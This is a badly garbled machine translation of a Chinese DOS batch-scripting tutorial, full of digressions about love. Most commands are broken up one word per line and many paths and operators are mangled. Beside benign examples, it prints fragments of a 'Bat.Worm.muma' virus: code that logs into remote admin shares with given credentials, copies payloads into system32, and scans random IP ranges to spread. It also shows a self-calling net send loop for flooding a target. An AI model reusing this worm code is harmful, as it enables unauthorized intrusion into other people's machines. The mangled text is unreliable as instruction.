This is a technical tutorial. I sincerely express the meaning of my own use very simple text. As long as you know, you can learn knowledge. Writing this tutorial is to let every friend who have seen these words to remember a sentence: If love can make things easier, let it make it simple! Looking at this tutorial, it is slow! Slowly, like a woman, a cup of tea, you will find a lot of things that have been suddenly changed in front of you, and some very distant things suddenly returned to their eyes. .
First outline what is the batch of stuff. The definition of the batch, I have not given a suitable thing until now - many masters have not given it ---- anyway, I don't know ---- I don't have to convincing ---- I am a rookie, of course, I don't have to say it; but I want to sum up a "more suitable", and I also believe that I can explain it very clearly, let more rookie know this is what is this, you Can do something with this stuff. Maybe you will "unconditionally in love with the batch" because of this article, then my purpose is reaching ---- I just want you to fall in love with it, I am so awkward, how can you? ? Really, I am so awkward, that is, there is no reason, that is, don't face! Really!
According to my understanding, the nature of the batch is a collection of DOS commands to be formed in order to arrange.
OK, Never
Claver
and
get
TO
Business (gossip less speech is correct). Batch, also known as a batch script, English translation for Batch, batch file suffix BAT takes the top three letters. Its composition does not have a fixed format, as long as you follow the following: Each line can be seen as a command, you can include multiple subcommands in each command, start executing from the first line until the end, the platform it runs Is DOS. There is a very distinctive characteristic of batch processing: convenient, flexible, powerful, high automation. I don't want to write my own tutorial and tasteless, because the problem is to take the code (the content of the batch?) The problem is boring, and few people can face the full-screen code. So I will use a lot of simple and practical examples to let friends who read this tutorial to experience the charm of the four shots of the approved, feel the ancient spiritual personality, I don't know if I love the batch (dizzy, how to love What is the relationship between batch and love? Answer: No!). Then say "gossip": learn to have a good batch, the DOS foundation must be strong! Of course, the brain is also very important.
For example, give a batch script first, let everyone make it familiar with it, save the following line commands to Name.bat and then execute (only the code is given in later, save and perform mode):
ping
Sz.tencent.com
>
a.txt
ping
SZ1.TENCENT.COM
>>
a.txt
ping
Sz2.tencent.com
>>
a.txt
ping
Sz3.tencent.com
>>
a.txt
ping
Sz4.tencent.com
>>
a.txt
ping
Sz5.tencent.com
>>
a.txt
ping
Sz6.tencent.com
>>
a.txt
ping
SZ7.TENCENT.COM
>>
a.txt
exit
Do you understand? Is it very easy? But its role is very practical, after performing this batch, you can build a file called A.txt in your current disk, which records the information recorded can help you quickly find the fastest QQ server, thus Stay away from the painful process of "from the server". Here, what is the meaning of the previous order, and the "the role of", >>, and> the same, the difference is to append the result to the result of the previous line, specifically said that One line, and the results derived by the front line will be retained, so that this A.TXT file is getting bigger and bigger (thinking about how to destroy it ??). Bythe
WAY, this batch can also be combined with other commands, making it fully automated to determine the server's speed, and the fastest server IP is displayed directly after execution. Is it very cool? Alongings will also be described in detail later.
Example 2, give an exemplary example (A.BAT):
@echo
Off
IF
exist
C: / progra ~ 1 / tencent / ad / *. GIF
Del
C: / progra ~ 1 / tencent / ad / *. GIF
a.bat
Why is this an obsolete example? Very simple, because now there is almost no one with an advertisement (kao, my QQ also shows friends three !!), so it almost can't use it. However, its role is unspeakable: delete QQ advertisements, let the dialog are clean. The address used here is the default installation address of QQ. The default batch file is named A.BAT, you can of course modify it according to the situation. In this script, use the IF command so that it can reach the right time to determine and delete the effect of the ad image, you only need not to close the execution of the DOS window, do not press CTRL C to terminate the command, it has always monitored whether there is an ad Picture (QQ also constantly checking if your ad is deleted). Of course, this script takes up you some memory, huh, huh.
Example III, use batch script check whether there is a hill. The script content is as follows:
@echo
Off
Netstat
-A
NN
>
a.txt
Type
a.txt
|
Find
"7626"
&&&&
echo
"CONGRATULATIONS!
You
Have
infected
Glacier! "
Del
a.txt
PAUSE
&
exit
Here, use the netstat command to check all network port status, just you need to know the port used by Trojans, you can easily judge whether it is treated with a glacial. However, this is not certain, because the default port 7626 of the ice is completely modified. Here is just methods and ideas. What is introduced here is that the method and ideas are changed slightly, it turns into a script that can check other Trojans, change it, add the parameters and port and information list files, turn it into automatically detecting all Trojan scripts. Oh, isn't it very enjoyable? The combination command & pipe command is also taken in the script.
Example 4, the borrowing process automatically clears the system garbage, the script is as follows:
@echo
Off
IF
exist
C: / windows / temp /*.-
Del
C: / windows / temp /*.-
IF
exist
C: / Windows / Tempor ~ 1 /*.
Del
C: / windows / tempor ~ 1 /* .* *
exist
C: / windows / history /*.*
Del
C: / windows / history /*.*
IF
exist
C: / Windows / Recent /*.-
Del
C: / Windows / Recent /*.-
Save the above script to autoexec.bat, and use the system garbage to automatically delete each time it is turned on. Here you need to pay attention to two points: 1. DOS does not support long file names, so there is a Tempor ~ 1 this stuff; two, can be changed according to its own actual situation, so that it meets your own requirements.
How, see here, is you already interested in batch scripts? Is it found that I have already loved this stuff? Don't be happy too early, love is not a simple matter, it may bring you happiness and happiness, of course, you can also want you to jump. If you know that it is difficult to continue, i
Impressed
You! Keep working hard, maybe you don't have to get true love (really there is this possibility, you know), but you can experience the process of the whole love, just this.
Sour, bitter and spicy, have a sweetness.
Why do you teach your batch and love? Not my boring, nor because of this is interesting, there is two: one, batch processing and love have a lot of places, some places I use "professional" to explain unclear (I don't doubt your own expression, But it is not good to say it. I said that I didn't say it, but the love of the genus knows a metaphor (what is love is? I ** !!), I am not allowed to be in the heart, I have a half-time, Why is it not? Second, I have a good time, I have a cold, but I have a good feelings, but the people are still in the spirit, people are annoying. I am borrowed to write a few words, everyone will buy dog skin plaster, completely It can be omitted (maybe a little effect) - not letting you watch it, sleep, take the head to find the medical expenses). If you can see the heroes of Yang Tong, Zhang Wuji and other golden old predecessors in the next tutorial.
I have seen the first chapter, I must have a preliminary impression on the batch, know what it is used to do. But do you know where is the essence of applying a batch? In fact, it is very simple: thinking is flexible! there is nothing you can not do, only something you can not think of. This is a bit different from love, because the world of love is the world of two people, and the courage is not called love (supplement: that is a single love. Throughout!) And batch is a person's paradise, you can do it, no Realm!
Batch looks messy, but it is strong, it is absolutely not lower than other programs (such as compilation). If you write the script is a pile of mess, although every line of command is correct, but from the beginning to the end, no Be sure to get the result you want, maybe it's a screen of Bad
Command
oral
Fail
Name. This is also common with love: steps to operate, lack or increase by step, can result in the results that do not want to see. Friends who have been caught in love, believe that there is no unaffirmation. My love is handled, the result of the output is not Bad
Command
oral
Fail
Name, the screen is displayed: 'Your love' is not internal or external command, nor is it a running program or batch file. Then the cursor does not stop flashing, waiting for this next error. From this chapter, it will be introduced by the shallow into the approved command. Many common DOS commands have this extensive application in the batch script, which is the Body section of the batch script, but the batch is more flexible than DOS. Diverse, more automation. To learn a good batch, DOS must have a relatively solid foundation. Here only, some more (relatively) DOS commands, common commands such as Copy, DIR, do not introduce (these seemingly simple commands are actually complicated, I am afraid that they are not clear!).
Example 5, first look at an example. This is a very interesting script, a small and practical good stuff, which means the characteristics of "automation" in batches. First introduce the origin of this script: Everyone knows the process of assembler (MASM), first to assemble, connect, then execute, and then execute, and many of this in this middle need to enter a lot of things, trouble is very trouble Only those who have experienced experience). How to make this process simple? When we engage in assembly course design, I "was forced" wrote this script, which is very cool, huh, huh. Take a look at the script content:
@echo
Off
:: CLOSE
echo
CLS
:: Clean
Screen
echo
THIS
PROGRAMME
IS
TO
Make
THE
Masm
PROGRAMME
Automate
:: DISPLAY
Info
echo
Edit
BY
Codered
:: DISPLAY
Info
echo
Mailto
ME
:
Qqkiller **@sina.com
:: DISPLAY
Info
IF
"% 1" == "" "
goto
USAGE
::10
INPUT
WITHOUT
Paramater
goto
USAGE
IF
"% 1" == "/?"
goto
USAGE
::10
Paramater
IS
"/?"
goto
USAGE
IF
"% 1" == "Help"
goto
USAGE
::10
Paramater
IS
"Help"
goto
USAGE
PAUSE
:: Pause
TO
See
USAGE
Masm
% 1.asm
:: Assemble
THE
.asm
code
IF
Errorlevel
1
PAUSE
&
edit
% 1.asm
::10
Error
PAUSE
TO
See
Error
MSG
and
edit
THE
code
LINK
% 1.obj
&
%1
:: Else
LINK
THE
.obj
File
and
EXECUTE
THE
.exe
File
: USAGE
:: set
USAGE
echo
USAGE:
THIS
Bat
File
Name
[ASM
File
Name]
echo
DEFAULT
Bat
File
Name
IS
Start.bat
:: DISPLAY
USAGE
Don't be scared by this pile of things, calm down and carefully look at it (think about how to write in the first chapter !!). Already given the explanation of each line, the contents of the two colons are explained for the previous line of content (afraid of Ewen friends don't have to worry, it is very easy, I understand it, I don't understand it. Check the dictionary, so lazy?), Do not show when the script is executed, or no effect. The countdown line 5 is the first colon, but it is not a note! The specific role will be explained in detail. In this script, MASM and LINK are assembler and connections, must be with the Edit program and the source code you want to edit (of course, this script, nonsense!) Is in the current directory. Using this batch script, you can reduce manual input, just press the Enter key during the whole process, you can implement automated conversion from assembly source to executable Exe files, and have intelligent judgment function: if compiling The time source code has an error (assembly is unsuccessful), the error message is automatically paused, and automatically enters the editing source code interface after pressing any key; if the source code assembly is successful, the connection is performed, and the generated EXE is automatically executed after the connection. file. In addition, due to the simplicity and flexibility of the batch command, this script also has a good improvement, simply modifying, can comply with different friends' habits. Friends who are studying, must don't forget to internship! There are several commands in this script: @, echo, ::, pause,: and goto,%, and if. This chapter will tell these orders.
1,@
This symbol is unfamiliar, and how can I run to batch? Oh, it's not its fault, the batch is inseparable from it, or it is not perfect. Its role is to let the execution window not displaying the command itself behind this line (how much nozzle!). Oh, it is popular, and if you have it, this line is not displayed. In Example 5, the first line of @echo
In the OFF, @ 's role is to let the script do not show the echo after execution.
The OFF section. Do you understand this? Still don't understand? It doesn't matter, after reading the echo command profile, you will understand it.
2, echo
Chinese is "feedback", "return" means. It is actually a switch command, that is, it has only two states: open and close. So I have echo
ON and ECHO
Off two commands. Directly execute the echo command to display the current echo command status (OFF or ON) Execute ECHO
OFF will turn off, and all commands behind it do not display the command itself, only the execution result is displayed unless echo is executed
ON command. In Example 5, the first line of @ command and echo
The OFF command is united to reach two purposes: do not display echo
The OFF command itself does not display the command itself in each line. It is indeed a bit chaotic, but if you practice, 3 minutes, you will not return money!
Another usage of the echo command 1: You can use it to display information! As the second line of the countdown in Example 5, Default
Bat
File
Name
IS
Start.bat will display in the window after the script is executed, and the echo command itself does not display (why ??).
Another method of echo command 2: You can edit the text file directly. Example 6: echo
NBTSTAT
-A
192.168.0.1
>
a.bat
echo
NBTSTAT
-A
192.168.0.2
>>
a.bat
echo
NBTSTAT
-A
192.168.0.3
>>
a.bat
The editing method of the above script content is that the command line is input directly, and each line will enter. Finally, an A.BAT file will be generated in the current directory, and the direct execution will result.
3, ::
This command is simple, it is an annotation command, in the batch script, and the REM command is equivalent. It is not displayed when it is executed, and it doesn't matter, because it is just a comment, just increasing the readability of the script, and the C language / * ........... * / Similar. I can understand it, I don't have much to say.
4, PAUSE
Chinese is "suspend" meaning (see your workman), I always think it is the simplest command in batch, simple, practical. Its role is to let the current program process pause and display a line of information: Please press any key to continue.
.
. In Example 5, this command used two times. The first role is to let users see the program information, the second is to display the error assembly code information (it is not what it wants to display, but the MASM program is displaying error message It was stopped when it was stopped so that you can see where your source code is wrong).
5 ,: and goto
Why do you join these two orders to introduce? Because they are inseparable, no matter which one or more, it will be wrong. Goto is a jump command: it is a label. When the program runs to GOTO, it will automatically jump to: the defined part is executed (is it not to open?). The countdown in the fifth line of the 5th line appears:, then the program automatically jumps to: the part of the label definition is executed, the result is displaying script USAGE (USAGE is the label name). It is not difficult to see that the goto command is based on this colon and the label name to find it to the jump, and they are one-to-one correspondence. The goto command is often used in conjunction with the IF command. As for these two commands specific usage, refer to Example 5.
Another usage of the goto command 1: Equal over the program. Use the goto command in the middle of the program to jump to a label, and the content of this label is defined as an exit. Such as:
......
goto
end
......
: END: END
Here: End is on the last line of the script! In fact, this example is very mentally, followed by if the IF command and combination command you will know.
6,%
This percent is strictly incorrect, it is only the parameters in batch processing (except for the case of multiple% of the use, there will be detailed in the future), but don't think it is just the parameter. It (see how many places in Example 5 uses it?), Less than 51% of the function is reduced. Take a look at the case:
Net
USE
//% 1 / IPC $
% 3
/ u: "% 2"
Copy
11.bat
//% 1 / admin $ / system32
/ y
Copy
13.bat
//% 1 / admin $ / system32
/ y
Copy
IPC2.bat
//% 1 / admin $ / system32
/ y
Copy
NWZI.exe
//% 1 / admin $ / system32
/ y
Attribact
//%1/admin (sstem32⏺.bat
-r
-H
-S
The above code is part of the Bat.Worm.muma virus,% 1 represented by IP, 2% represented UserName, 3% represents Password. Perform form is: Script file name parameter
Parameter
....... Suppose this script is saved as A.BAT, the execution form is as follows: a
IP
Username
Password. Here IP, username, password is three parameters, which is not possible (because the program does not run correctly, not because less parameter syntax is wrong) This is automatically used in the script, the script is automatically used by your three parameters ( Remember, it is the same! It is also a one-or-one relationship.) Save 1%, 2%, and 3%, so that the purpose of flexible use (tried, if you directly put the IP, usrname and password directly in the script Then the role of the script is fixed, but if you use%, different parameters can achieve different purposes, is it more flexible?).
The use of this parameter will be introduced in the subsequent chapter. Be sure to be very skilled, this requires a lot of exercises, you need to look at the worker!
This chapter will write here. There may be a friend asked: Why didn't you introduce if a command? Oh, not, I forgot, but it is not easy to say clearly, the next chapter is talking again! This chapter tells this thing, if you are an initiator, I am afraid it is digested. Remember one sentence: DOS is a batch of Body, any DOS command can be used in a batch script to complete a specific function. Here, have you already thought of using your own stomach to write some Dongdong with automation colors? Very simple, it is a collection of DOS commands. I believe that you have claimed that you have taught the DOS part of the computer grade test in the machine test.
bother! Just like a half old woman gets a few years, what do you want to have a few words, what is uncomfortable, and who is not cool. I know that there is a tiger, I am biased towards the hill, and finally left a scar, I found that I was so fragile, so small, so unbearable. At the edge of the collapse, suddenly recalling the moment of my last flat, I really miss (in fact, I don't like Flat, and I don't like being flat). I need to vent, I use my fingers to hit the keyboard, in a rhythm, there is a rhythmic voice, the above text appears above. But how is this is another way of venting? Chinese people are still amazing. As early as a few thousand years ago, Kong Laofu said "The only girl and villain, it is difficult to raise", true ** has the first clear, admire! Although it is venting, please rest assured, with my temper, since I decide to write this tutorial, I will try my best to write, write perfect, never give yourself regret, I don't have this tutorial. !
There was a classic batch tutorial appeared on your screen. You didn't save until you couldn't find it, you regret it, the biggest pain in the world is too this. If you can give you a chance to watch again, you will say three words to that tutorial: I love you! If you want to add a deadline to this love, you want to be 100 years. Because after 100 years, you may have already hanging it! Now, there is this batch tutorial you are watching on your screen, although it is not as good as you have seen, but if you barely go. Will you love it? Is there a long 50 years? The answer is: Try it. The most important commands in the batch script will be introduced in this chapter, but unfortunately, some details I have not mastered very well, and even some missed. Like I don't know much like love. But I have been working hard, even if I have never got. So it may be more general, but I will tell you method, the rest is the time problem, you need yourself to hone. Let us work together. The frozen three feet is cold, and the drip is not a day. Some things, such as learning batch processing, such as love a person, is unachable, even have a hard harvest, and harvest is small. Reiterating again, when you see this tutorial, you must calm down, unless you have already mastered everything in this tutorial ---- But then you don't have to look, waste time!
7, IF
Connect the next chapter, then talk about the IF command. In general, the if command is a command that represents the judgment, which can correspond to a corresponding operation, depending on each of the results. About it three usage, here to speak here.
(1), input judgment. Still use the examples of the examples:
IF
"% 1" == "" "
goto
USAGE
IF
"% 1" == "/?"
goto
USAGE
IF
"% 1" == "Help"
goto
USAGE
Here, it is judges the input parameters. If the parameter is empty (no parameters), jump to usage; if the parameter is /? Or HELP (everyone generally looks at a command help, is it input /? Or help, here This is just to make this script look more like a real program) and jump to usage. It is also possible to use a negative form to indicate "not equal", for example: IF
NOT
"% 1" == "" "
goto
Usage, it means that if the input parameter is not empty, you jump to usage (actually doing this is not meaningful, here is the usage, not so much, huh, huh, is it very simple? In fact, translation into Chinese, understand Understand.
(2) There is a judgment. Look again in the case:
IF
exist
C: / progra ~ 1 / tencent / ad / *. GIF
Del
C: / progra ~ 1 / tencent / ad / *. GIF
If you have those GIF files, you delete these files. Of course, there are examples, all the same reason. Note that the conditions here are judged that the existence is existing, and of course, it is also possible to judge that there is no existence, such as the following sentence, "If there is no GIF file, exiting the script": if
NOT
exist
C: / progra ~ 1 / tencent / ad / *. GIF
EXIT. It is just more than one NOT to indicate that it is negative.
(3) The result is judged. Still take the five kids (I didn't expect the script written by yourself, but I used it to be so big, huh, huh): MASM
% 1.asm
IF
Errorlevel
1
PAUSE
&
edit
% 1.asm
LINK
% 1.obj
First, the source code is compiled. If the failure is paused, the error message is paused, and automatically enters the editing interface after pressing any key; otherwise connect the generated OBJ file with the Link program. Here is only the places related to if commands, and later will be said. This usage is to determine the return code after the previous command execution (also called the error code, the DOS program has a return code after running), if the defined error code is in line with the defined error code (1 defined error code is 1), then Perform a corresponding action (here the corresponding operation is PAUSE
&
edit
% 1.ASM section).
In addition, the same can also be denominated as both other two usage. It is still expressing the meaning of the above three sentences with a negative form.
Masm
% 1.asm
IF
NOT
Errorlevel
1
LINK
% 1.obj
PAUSE
&
edit
% 1.asm
See the essence? In fact, the commands executed after the results are judged, "IF
NOT
Errorlevel
1 "and" IF
Errorlevel
0 "The effect is equivalent, which means that the last mages command is successful (because it is wrong judgment, and the return code is 0, 0 means no negation, that is, this error does not exist, that is, MASM execution is successful). Here Do you have a NOT, the error code is used to use 0 or 1. It is worth considering. Once the unsuccessful script is definitely wrong, it must be very deep. How to experience the profound? Exercise! Write a script , Then write in the case of NOT and no NOT, return code is 0 or 1, etc. There is more trouble when the command is! I am afraid? Ha ha.), This can be clearly seen from the results of the implementation.
This use of Errorlevel results is the most difficult usage of IF commands, but it is also the most useful usage. If you don't use Errorlevel to determine the return code, you must reach the same effect, you must use ELSE to indicate "otherwise "The operation is more troublesome. The above code must become:
Masm
% 1.asm
IF
exist
% 1.obj
LINK
% 1.obj
Else
PAUSE
&
edit
% 1.asm
These three usage of if commands are here, it is very simple, but it is not necessary to use it, mainly the problem of proficiency. Maybe some friends are a bit surprised. Why didn't I give us a similar introduction similar to the following three lines, because the following three lines are the explanation of its own usage in the IF command help, anyone as long as one "IF
/? "You can see that I don't have to have a lot of time here; more important reasons, I think this is unclear, people who don't necessarily look, so I use my own understanding of IF commands. To introduce. Be sure is that the format of these three usage is different, but it is also unable to change, but in fact, it can be interchanged (in essentially, these three usage are based on judgment) , Philosophy teaches us to learn the essence of things through the phenomenon!). Interested friends can study themselves.
[NOT]
Errorlevel
Number
DO
Command
IF
[NOT]
String1 == String2
DO
Command
IF
[NOT]
Exist
Filename
DO
Command
8, Call
I have learned a compilation or C friend, and I must know what the CALL directive means it means that it means it is true. In the batch script, the call command is used to call another batch script from a batch script. Looks out (the default three script file names are start.bat, 10.bat and ipc.bat):
Start.bat:
......
Call
10.bat
0
......
10.bat:
......
Echo
% IPA%.% 1
> Hfind.tmp
......
Call
IPc.bat
IPCFind.txt
Ipc.bat:
for
/ f
"tokens = 1, 2, 3
Delims =
"
%% i
in
(%1)
DO
Call
Hack.bat
%% i
%% J
%% K
Have you seen anything wrong? Didn't you see it? Didn't see it, it's right, in fact, there is no place, how do you see it! From the above two scripts, you can get the following information: 1, script calls can be used flexibly, looped, repeat. 2. The script call can use parameters! Not much to say about the first point, smart, you should see it, here is the second point.
In Start.bat, 10.bat follows the parameter 0, the effect is performed, in fact, the parameter% 1 in the 10.bat is replaced with 0. In Start.bat, IPc.bat follows the parameter ipcfind.txt (one file, you can do parameters), the effect of execution is the three variables of each line in ipc.bat (there is no relationship here. After learning the for command), the %% I, %% J and %% K in IPC.BAT are changed. The parameter call here is very flexible and you need to experience it. During the first school, you can learn only to call the script first. As for the case of using the parameters of the script, there will be a deep understanding in the latter learning, because when you can flexibly use the batch script, how Make the code written more and more perfect and more efficient to naturally include the scope of consideration. At this time, you will find that the parameters directly in the call script can make the code efficiency double. BY
THE
Way, these scripts above are part of the Bat.Worm.Muma virus, in the back tutorial, everyone will have the opportunity to see this virus.
Isn't that, at least two batch script files in the same directory (who is only one you call?)? Oh, pay attention, this sentence is wrong! ! Only one still can call ---- call itself! See Example Nine (Default Script File Name A.BAT): Net
Send
%1
THIS
IS
a
Call
EXAMPLE.
Call
a.bat
One of these two sentences, the effect is naturally not good, because only one machine is sent to the news, who is afraid of? I will give you a gift! If there is 100 machines to execute, and each machine is opened 10 and the window, you send a message to a target machine, huh. Here Call
A.BAT's role is to call itself, execute the previous NET
After the send command, call itself, reach the purpose of the loop execution.
Give a very interesting script, interested friends can experiment. Example 10 (The default script file is named A.BAT):
Call
a.bat
Be sure to execute under the DOS window, otherwise you will only see a window flashed, see the last result. After the execution is completed, when the script is executed 1260 times, don't forget to think, why! Love sometimes like this script, once in the dead cycle, the final result is unexpected. It's just love, it will never wait until it is not reasonable. Maybe there is a last time.
IS
Aborted prompt.
9, find
This is a search command that is used to search for a specific string in the file, usually as a pavement program that is determined (how do I suddenly remember these four words?). This command is used separately in batches, because there is nothing practical. Still leaving examples:
@echo
Off
Netstat
-A
NN
>
a.txt
Type
a.txt
|
Find
"7626"
&&&&
echo
"CONGRATULATIONS!
You
Have
infected
Glacier! "
Del
a.txt
PAUSE
&
exit
Check if the NetStat command is checked if there is a grate's default port 7626 in the activity and saves the result to a.txt. Then use the Type command to list the contents in the A.TXT, and search for strings "7626" in the listed content.
It is found that there is a prompt to the ice, otherwise withdraw it. Look, the Find command is actually as simple, but there must be noticed that if you do not use the Type command to list the contents in a.txt, but directly use the find command to find "7626" in A.TXT (Find
a.txt
"7626"
&&&&
echo
"CONGRATULATIONS!
You
Have
infected
Glacier! "), You must give this A.TXT absolute path (I tried, the default path is the function of the current path, you must be specified manually. Maybe it is wrong, welcome to correct). Because There is such a sentence in the help of the Find command: If there is no specified path, Find will search for the text that is typed or generated by another command. The "another command" naturally refers to the Type command.
As for several other parameters such as v, n, i, etc., such as V, N, i, etc., are interested in studying, this is the content of DOS learning, here is not introduced. About some of the more exquisite usage of the Find command and other commands (some simply being called), the subsequent tutorial will be introduced, I hope to pay attention. 10, For, SET, SHIFT
Why do these three orders come together? Reason, except for me, I am afraid who can't think of it! Very simple sentence: In fact, I don't know much! Yes, for these two orders, I started learning Bat.Worm.muma virus, time has passed a lot, but I still have not fully understood, I am afraid that I don't understand it, I am more afraid. I accidentally spent the wrong person. So I gave a script to tell you how to let these two commands will leave a preliminary impression, in fact, the introduction of these two orders, but not to say how to understand these two orders. Because I have to understand two exquisite orders (especially for), what is easy! Maybe you will praise I am honest, don't understand, I don't understand; maybe you will marry me, let me hurry, don't know how to get out here; maybe you still say something like this is so good or not listening. If you are, you will be casilled, even if I don't agree with you, I will swear to defend your voice. Example 11:
@echo
Off
for
/?
>
For.txt
set
/?
>
set.txt
Shift
/?
> shift.txt
exit
After execution, generate for.txt, set.txt, and Shift.txt, record the help information of the for command, set command, and shift commands, respectively. I can understand the earth, I will not say much. I have been looking for a long time for a long time, but I'm not ideal, it is basically a help information. I want to write an For, SET, and SHIFT tutorials that have been summed up with their own text (regarding the shift command, which will also be involved in the parameters of the batch), must Yes, this is one of my wishes! It is necessary to pay attention to the help of these three orders.
The introduction is a relatively dead board, although there are some examples, but this is not enough. To master these two orders, the most needed is patience! Didn't write wrong, it is patience. The light is carefully read, and the help text already needs enough patience. If you have to practice these two orders, don't you need more patience? The chance of actual exercises will be left to you, the key is the sentence, see if you have patient research. Take a look at the 12:
Start.bat:
Call
Muma.bat
Set
IPA = 192.168
Call
10.bat
0
: Nearagain
Netstat
-n | find
":"
> A.tmp
For
/ F
"tokens = 7, 8, 9, 10, 12
Delims = .:
"
%% i
In
(A.tmp)
DO
Set
Num1 = %% I &&
Set
Num2 = %% J &&
Set
Num3 = %% K &&
Set
Num4 = %% L &&
Set
Num5 = %% M &&
Call
Near.bat
: Start
Call
Random.bat
IF
"% NUM1%" == "255" goto
Nearagain
IF
"% NUM1% ==" 192 "
Goto
Nearagain
IF
"% NUM1%" == "127"
Goto
Nearagain
IF
"% NUM2%" == "255"
Goto
Nearagain
IF
"% Num3%" == "255"
Goto
Nearagain
IF
"% NUM4%" == "255"
Goto
Nearagain
Set
IPA =% NUM1%.% Num2%
Echo
Start
>
A.log
Ping
% IPA%.% Num3% .1> B.TMP
Ping
% IPA%.% Num3%.% NUM4% >> B.TMP
Find
/ C
/ I
"from"
B.TMP
IF
Errorlevel
1
Goto
Start
Call
10.bat
% Num3%
Del
A.log
Goto
Start
This is the starting script of the Bat.Worm.Muma virus and sets the environment variables of the virus. Is it big? I have forgot to write the sentence in the first paragraph in Chapter 1 (calm down!), You should be able to understand the patience you need to learn these two orders. Just like a person, you have to learn to be tolerant, you can't get it, use your big mind to enclose her everything, even if you find that the process of love her, let your head, but you still I have to love it -? Do you need a reason? Don't you need it? do you need? Don't you need it ... After the wind is calm, the most intuitive gain is, your patient is unprecedented, facing her complexity and kindness, you will be unrestrained, you can go to your own way, you can't cope with the scene. Even if the last body is scar, how great is it.
That's right, this is the charm of batch processing, this is the charm of love. Let you be hurt, thank you people who hurt you. This feeling is like rape in your favorite music, hurts and happily.
I have to reiterate again, all kinds of DOS commands are batch of body (I really can't find a more suitable word to describe the relationship between them), learn the DOS command is the premise of learning the batch. Other DOS commands such as Copy, DIR, DEL, TYPE, PATH, BREAK, START, etc., as well as external commands such as ping, net, cmd, at, sort, attrib, fc, find, etc., the application in batch is very broad. The role of this tutorial is to teach you to know batch, and how to use the DOS command to combine a perfect batch script, let it automate what you want to do. And flexible editing a batch script is based on skilled in the DOS command, which has exceeded the category of this article, and will not be described here.
Unconsciously, the third chapter is over. The earset is still Chen Xiaodong's "Happy than I am" more than 32 seconds every 4 minutes. Although I don't really like Chen Xiaodong, I don't hinder me like music, I like this kind of song that is like this. Pleasebe you must be better than I / I don't want to spend my wolf. I don't want to say it. / I am silently counting / finally seeing you clear / look at your eyes, I am flying / slowly exiled. I like a old sera of the guest who has lost the guests due to the old age, desperate, in the brilliant red light district, with a population of a face, silently recalling the past, fantasy I will face the future. Until I saw those who cuddles together, I suddenly found the fairness of God and the cruelty of this fairness. It can be said that the most important commands in batch scripts have not given more detailed introduction as echo or if, I have already said, because I am also a dish, I don't know much ---- But I am learning! What about you? Today, I went to a library, and I found a "DOS batch document" in the gold, hiding in a corner, fell as the ash, five, together, as thick as the brick. I turned over, introduced a lot of things and foundations, although I said, I have a little TIME.
OUT, many things have basically no use value (this is the update speed of the information age), but it is still worth seeing. So I plan to take it in the afternoon, I have a holiday back to study again, and I will finish it together with the unfamiliar orders, and continue to write this tutorial. I always believe that there is nothing better.
But a pity, wait until afternoon, the library stairway has already set up a brand, which is written in Out.
Of
Service ---- The work of people this semester is over. So returned to the dormitory, I plan to continue to write the fourth chapter. At this time, I got a "exciting" news: The final exam has a department, and it is the first class. ---- this door is hung throughout the class I am one. Depressed emotions have a heart, the whole world seems to be black. The canteen and the small selling department have been closed, and the people in the school are getting less and less. Several students who come over, they are busy preparing to go home for the New Year, the heart is lonely and lost as the dark cloud before the rainstorm in the summer. The irresistible occupation of every corner of your heart. Getting on the cold wind in January, I am in a dazzling, what can I do, and the end of the final exam will not be able to pay a failure man.
"Time to rest" time seems to be a long, huh, huh, class! From this chapter, several combination commands and pipeline commands commonly used in batch processing will be described in detail. Although these orders are not necessarily, if they love one person, they are not necessarily to accompany, but if this process is less, things will become more complicated and not perfect, so I think the pipeline command and the combination command are the seasoning stiffness. Almost less.
The following is spoken from the pipeline command. The commonly used pipelines have the following: |,>, >>
11, |
This order, I am afraid everyone is not very strange, often doing DOS friends should know, when we view a command help, if the help information is relatively long, the screen shows that DOS does not give us time to let us see a screen. Turn to another screen, but directly display the last of the help information. If you enter a Help Enter, you will see all the non-hidden commands supported by the current DOS version, but you can only see the last commands, the front has been flashing, how to solve this problem? Example 13:
Help
|
More
When you enter the bus, you will find that the full screen will be automatically paused, waiting to continue to display additional information. When the carriage return is written, it becomes a one-one appearance; when the space button is pressed, a screen is displayed until all is displayed; pressing other keys to automatically stop returning DOS. Why does the above phenomenon? The answer is simple, here is combined with the pipeline command | and the dos command more to achieve the purpose. Here you will briefly introduce the help command and more command, which helps the usage of the understanding | command.
11.1, Help Command. In fact, this command does not need to be said, but in the above example, the HELP command is special, and the HELP command is entered directly at the DOS prompt. The result is that DOS displays all the non-hidden commands he supported, but in other Local use help command, if you enter NET
Help Enter, is the help information of the NET command.
11.2, more command. Maybe many friends have never been exposed to this order, this order is very wide under Linux, and is one of the pipelines. Everyone can find a relatively long article (A.TXT) Enter the following two commands in the DOS prompt to compare the difference: more
A.TXT and TYPE
a.txt. Using the more command, you can reach the effect of the output or progress line, and the TYPE command can only display the output once, and the final result is only the end of the end. In Example 13, the role of more command is to display the information of the output or progressive line.
See here, is you can't feel vague | Commands? That's right, its role is to use the output of the previous command. In the first order, the output of the previous command is all non-hidden commands supported by the Help command execution, and this result is just the input of the MORE MORE. So, the first and the following examples below are equivalent:
Help
>
a.txt
More
a.txt
Del
a.txt
Here, another pipeline command is used to generate an A.TXT file as an intermediate link. After viewing an More command to the a.txt file, then delete a.txt file (all the operations of the Example 13 are in memory, do not generate file). It can be seen that the correct use of the pipeline command | can bring a half-time effect.
Combining Example 13 and Examples, and the previous examples of the first example: | The action of the command is to make the output of the previous command as the input of the next order.
12,>, >>
The effects of these two orders are the same in nature. They are all output redirected commands, and the popularity is written, that is, write the output of the previous command to a file. The only difference between these two commands is that> Write the new content into the original file after the contents of the original file, and >> will only add new content to the original file, not to change The original content. Example fifteen:
echo
@echo
Off
>
a.bat
echo
echo
THIS
IS
a
Pipeline
Command
EXAMPLE.
>>
a.bat
echo
echo
IT
IS
Very
Easy?
>>
a.bat
echo
echo
Believe
Your
Self!
>>
a.bat
echo
PAUSE
>>
a.bat
echo
exit
>>
a.bat
In turn, enter the above commands in the DOS prompt, one row a bus, will generate an A.bat file in the current directory, the content is as follows:
@echo
Off
echo
THIS
IS
a
PipelineCommand
EXAMPLE.
echo
IT
IS
Very
Easy?
echo
Believe
Your
Self!
PAUSE
exit
